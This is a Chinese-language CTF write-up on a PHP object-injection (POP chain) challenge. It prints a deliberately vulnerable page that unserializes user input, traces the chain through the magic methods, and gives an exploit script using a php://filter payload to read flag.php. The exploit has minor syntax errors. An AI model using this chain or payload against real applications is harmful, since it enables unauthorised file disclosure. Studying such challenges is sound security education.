pop链构造1

pop链构造1

打开页面后,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

其中有几个魔术方法,所以可能是pop链的构造

1
2
3
4
5
__invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
__toString()魔术方法:在类的对象被当作字符串操作的时候,自动被调用
__wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
__construct()构造方法:在类的对象实例化之前,自动被调用
__get()魔术方法:从不可访问的属性中读取数据会触发

从代码中,我们可以看见一个include()包含的函数,因此,我们需要想办法使用这个函数帮我们读取文件,而要使用include()函数,我们需要调用Modifier类中的append()方法,而要调用Modifier类中的append()方法,我们需要调用Modifier类中的__invoke()魔术方法,而要调用__invoke()魔术方法,要将类的对象被调用为函数,所以我们可以看见Test类中的__get()方法中的代码

1
2
$function=$this->p;
return $function();

我们可以构造$this->p=new Modifier();来调用__invoke()方法,而这其中需要调用__get()方法,而调用__get()方法,需要从不可访问的属性中读取数据时会触发,所以我们可以想到Show类的__toString()方法,其中的代码

1
return $this->str->source;

所以我们可以构造$this->str=new Test();来触发__get方法,而要触发__toString()方法,要在类的对象被当作字符串操作时,所以我们可以看到__wakeup()魔术方法中的

1
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source))

所以我们可以构造$this->source=new Show();

所以我们可以构造exp,但是我们要在Show类中让$this->source为Show类的话,我们最后还需要用到__contruct()魔术方法

1
2
3
$a=new Show('s');  #就会触发__contruct()魔术方法,且将s作为__contruct()的参数

因此,链条为

include()–>append()–>_invoke()–>__get()–>__toString()–>__wakeup()–>unserialize()

1
所以我们构造exp

Welcome to index.php
<?php
//flag is in flag.php

class Modifier {
protected $var=”php://filter/read=convert.base64-encode/resource=flag.php”;

}

class Show{
public $source;
public $str;
public function __construct($file=’index.php’){
$this->source = $file;
}
public function __toString(){
$this->str=new Test();
}

public function __wakeup(){
    $this->source=new Show();
}

}

class Test{
public $p;

public function __get($key){
    $this->p=new Modifier();
}

}

$a=new Show();
$b=new Show($a)
$a->str=new Test();
$a->str->p=new Modifier();

echo urlencode(serialize($b));
?>

1
然后对代码的详细解析

Welcome to index.php
<?php
//flag is in flag.php //提示:flag在flag.php文件内,猜测是当前网站根目录下的flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!

class Modifier { //类,Modifier
protected $var; //保护属性,$var
public function append($value){ //自定义方法,append($value)
include($value); //文件包含参数$value,猜测这里可以利用文件包含读取flag.php的内容
}
public function __invoke(){ //__invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
$this->append($this->var); //把保护属性$var传入自定义方法append($value),执行一次
}
}
//很明显:
//这里我们要想执行文件包含flag.php,那么就要调用append($value)方法
//这里我们要想调用append($value)方法,那么就需要调用__invoke()魔术方法
//这里我们要想调用__invoke(),那么就需要将Modifier类的对象调用为函数
//这里,我们会发现$var属性的值传给了$value参数,所以要想包含flag.php的源码,就需要给$var传入php://filter………………..[省略]

class Show{ //类,Show
public $source; //公有属性,$source
public $str; //公有属性,$str
public function __construct($file=’index.php’){ //公有构造方法,在类的对象实例化之前,自动被调用
$this->source = $file; //给$this->source属性赋值$file
echo ‘Welcome to ‘.$this->source.”
“; //打印字符串
}
public function __toString(){ //__toString()魔术方法,在类的对象被当作字符串操作的时候,自动被调用
return $this->str->source; //返回,str属性值的source属性
}

public function __wakeup(){                            //__wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {    //正则匹配source属性的值
        echo "hacker";
        $this->source = "index.php";                //source属性赋值为index.php
    }
}

}
//很明显:
//__toString()魔术方法,有以下特征“$this->str->source”
//所以说,我们可以给str属性赋值为Test类的对象,那么由于该对象没有source属性,那么就会调用Test类的__get()魔术方法
//那么想要调用__toString魔术方法,就需要Show类的对象被当作字符串操作
//很明显,我们的__wakeup()魔术方法,里面有source属性被当作字符串去比较,所以我们可以给source属性赋值为Show属性的对象
//所以只要,我们可以利用反序列化,调用__wake()魔术方法,且source赋值为该类的对象,str属性赋值为Test类的对象即可

class Test{ //类,Test
public $p; //公有属性,$p
public function __construct(){ //公有构造方法,在类的对象实例化之前,自动被调用
$this->p = array(); //属性$p初始化为数组
}

public function __get($key){                        //__get()魔术方法,访问该类中不可访问的属性,自动被调用
    $function = $this->p;                            //属性$this->p赋值给$function
    return $function();                                //把$function调用为$function()函数
}

}
//很明显:
//这里的属性$p可以触发,__invoke()魔术方法,所以只要给$p赋值为Modifier类的对象即可

if(isset($_GET[‘pop’])){
@unserialize($_GET[‘pop’]);
}
else{
$a=new Show;
highlight_file(FILE);
}

```
最后会回显base64码